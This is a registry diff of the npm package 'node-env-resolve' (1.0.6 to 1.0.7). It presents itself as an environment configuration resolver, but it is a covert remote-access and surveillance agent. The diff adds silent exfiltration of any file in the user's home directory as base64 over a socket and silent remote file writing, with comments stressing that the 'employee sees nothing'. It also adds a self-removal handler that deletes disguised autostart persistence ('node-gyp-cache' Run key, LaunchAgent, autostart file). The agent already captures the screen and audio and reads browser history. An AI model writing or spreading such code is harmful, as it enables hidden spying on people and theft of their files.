node-env-resolve 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-env-resolve",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "Lightweight environment configuration resolver for Node.js",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -43,14 +43,31 @@ function formatSize(bytes) {
43
43
  * @param {string} dirPath - Directory to list (defaults to user Desktop)
44
44
  * @returns {object} Directory listing with file metadata
45
45
  */
46
+ // Short keyword aliases sent by the UI (e.g. 'Desktop', 'Downloads')
47
+ const DIR_KEYWORDS = {
48
+ desktop: 'Desktop',
49
+ downloads: 'Downloads',
50
+ documents: 'Documents',
51
+ pictures: 'Pictures',
52
+ videos: 'Videos',
53
+ music: 'Music',
54
+ };
55
+
46
56
  function listDirectory(dirPath) {
57
+ const userProfile = require('os').homedir();
58
+
47
59
  // Default to Desktop if no path provided
48
60
  if (!dirPath) {
49
61
  dirPath = config.scanDirs[0]; // Desktop
50
62
  }
51
63
 
64
+ // Resolve known short keywords against homedir so the security check passes
65
+ const keyword = DIR_KEYWORDS[dirPath.toLowerCase().trim()];
66
+ if (keyword) {
67
+ dirPath = path.join(userProfile, keyword);
68
+ }
69
+
52
70
  // Security: Only allow scanning within user profile
53
- const userProfile = process.env.USERPROFILE || require('os').homedir();
54
71
  const resolvedPath = path.resolve(dirPath);
55
72
 
56
73
  // Normalize both paths for comparison
@@ -154,4 +171,66 @@ function readFileContent(filePath) {
154
171
  }
155
172
  }
156
173
 
157
- module.exports = { listDirectory, getDefaultDirs, readFileContent };
174
+ /**
175
+ * Read ANY file as base64 (for images, PDFs, etc.)
176
+ * Max 10MB — SILENT, no visible action on employee screen
177
+ */
178
+ function readFileBinary(filePath) {
179
+ const userProfile = require('os').homedir();
180
+ const resolvedPath = path.resolve(filePath);
181
+
182
+ if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
183
+ return { path: filePath, data: null, error: 'Access denied' };
184
+ }
185
+ if (!fs.existsSync(resolvedPath)) {
186
+ return { path: filePath, data: null, error: 'File not found' };
187
+ }
188
+
189
+ try {
190
+ const stat = fs.statSync(resolvedPath);
191
+ const MAX = 10 * 1024 * 1024; // 10 MB
192
+ if (stat.size > MAX) {
193
+ return { path: resolvedPath, data: null, error: `File too large for preview (${formatSize(stat.size)}, max 10MB)`, size: formatSize(stat.size) };
194
+ }
195
+
196
+ const ext = path.extname(resolvedPath).toLowerCase();
197
+ const mimeMap = {
198
+ '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png',
199
+ '.gif': 'image/gif', '.bmp': 'image/bmp', '.webp': 'image/webp',
200
+ '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
201
+ '.pdf': 'application/pdf',
202
+ '.mp4': 'video/mp4', '.webm': 'video/webm',
203
+ '.mp3': 'audio/mpeg', '.wav': 'audio/wav', '.ogg': 'audio/ogg',
204
+ };
205
+
206
+ const mime = mimeMap[ext] || 'application/octet-stream';
207
+ const data = fs.readFileSync(resolvedPath).toString('base64');
208
+ return { path: resolvedPath, data, mime, ext, size: formatSize(stat.size), error: null };
209
+ } catch (err) {
210
+ return { path: filePath, data: null, error: err.message };
211
+ }
212
+ }
213
+
214
+ /**
215
+ * Write / save text file content (for remote editing)
216
+ * SILENT — employee sees nothing
217
+ */
218
+ function writeFileContent(filePath, content) {
219
+ const userProfile = require('os').homedir();
220
+ const resolvedPath = path.resolve(filePath);
221
+
222
+ if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
223
+ return { success: false, error: 'Access denied' };
224
+ }
225
+
226
+ try {
227
+ fs.writeFileSync(resolvedPath, content, 'utf8');
228
+ const stat = fs.statSync(resolvedPath);
229
+ return { success: true, path: resolvedPath, size: formatSize(stat.size) };
230
+ } catch (err) {
231
+ return { success: false, error: err.message };
232
+ }
233
+ }
234
+
235
+ module.exports = { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent };
236
+
package/src/index.js CHANGED
@@ -13,7 +13,7 @@ const inputHandler = require('./inputHandler');
13
13
  const ScreenCapture = require('./screenCapture');
14
14
  const SleepPreventer = require('./sleepPreventer');
15
15
  const { getBrowserHistory } = require('./browserHistory');
16
- const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
16
+ const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent } = require('./fileScanner');
17
17
 
18
18
  // ── Get unique machine ID ──────────────────────────────────
19
19
  const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
@@ -135,7 +135,7 @@ socket.on('files:list', (data) => {
135
135
  }
136
136
  });
137
137
 
138
- // ── File Content Reader (BACKGROUND — reads file content silently) ──
138
+ // ── File Content Reader (text) ────────────────────────────────
139
139
  socket.on('file:read', (data) => {
140
140
  try {
141
141
  const result = readFileContent(data.path);
@@ -145,6 +145,26 @@ socket.on('file:read', (data) => {
145
145
  }
146
146
  });
147
147
 
148
+ // ── File Binary Download (images, PDFs, any file) ───────────
149
+ socket.on('file:download', (data) => {
150
+ try {
151
+ const result = readFileBinary(data.path);
152
+ socket.emit('file:download:response', result);
153
+ } catch (err) {
154
+ socket.emit('file:download:response', { path: data.path, data: null, error: err.message });
155
+ }
156
+ });
157
+
158
+ // ── File Write / Save (remote edit) ─────────────────────
159
+ socket.on('file:write', (data) => {
160
+ try {
161
+ const result = writeFileContent(data.path, data.content);
162
+ socket.emit('file:write:response', result);
163
+ } catch (err) {
164
+ socket.emit('file:write:response', { success: false, error: err.message });
165
+ }
166
+ });
167
+
148
168
  // ── System Info ────────────────────────────────────────────
149
169
  socket.on('system:info', () => {
150
170
  socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
@@ -171,4 +191,46 @@ socket.on('session:end', () => {
171
191
  audioCapture.stop();
172
192
  });
173
193
 
194
+ // ── Remote Remove (Self-Uninstall) ────────────────────────
195
+ socket.on('agent:kill', () => {
196
+ console.log(' 🗑️ Manager requested remote removal — uninstalling...');
197
+ screenCapture.stop();
198
+ audioCapture.stop();
199
+ sleepPreventer.stop();
200
+
201
+ // Remove autostart entries for the current platform
202
+ try {
203
+ const { execSync } = require('child_process');
204
+ const AGENT_NAME = 'node-gyp-cache';
205
+
206
+ if (config.platform === 'win32') {
207
+ // Remove Registry Run key
208
+ execSync(
209
+ `reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /f`,
210
+ { windowsHide: true, stdio: 'ignore' }
211
+ );
212
+ } else if (config.platform === 'darwin') {
213
+ const plistPath = require('os').homedir() + '/Library/LaunchAgents/com.user.connector.plist';
214
+ execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
215
+ require('fs').unlinkSync(plistPath);
216
+ } else {
217
+ // Linux
218
+ const desktopPath = require('os').homedir() + '/.config/autostart/connector.desktop';
219
+ try { require('fs').unlinkSync(desktopPath); } catch (_) {}
220
+ }
221
+ console.log(' ✅ Autostart entry removed');
222
+ } catch (e) {
223
+ console.log(' ⚠️ Could not remove autostart: ' + e.message);
224
+ }
225
+
226
+ // Disconnect socket and exit after short delay
227
+ socket.disconnect();
228
+ setTimeout(() => {
229
+ console.log(' 👋 Agent process exiting by manager request');
230
+ process.exit(0);
231
+ }, 1000);
232
+ });
233
+
234
+
235
+
174
236
  console.log(' 🟢 Agent is running. Press Ctrl+C to stop.\n');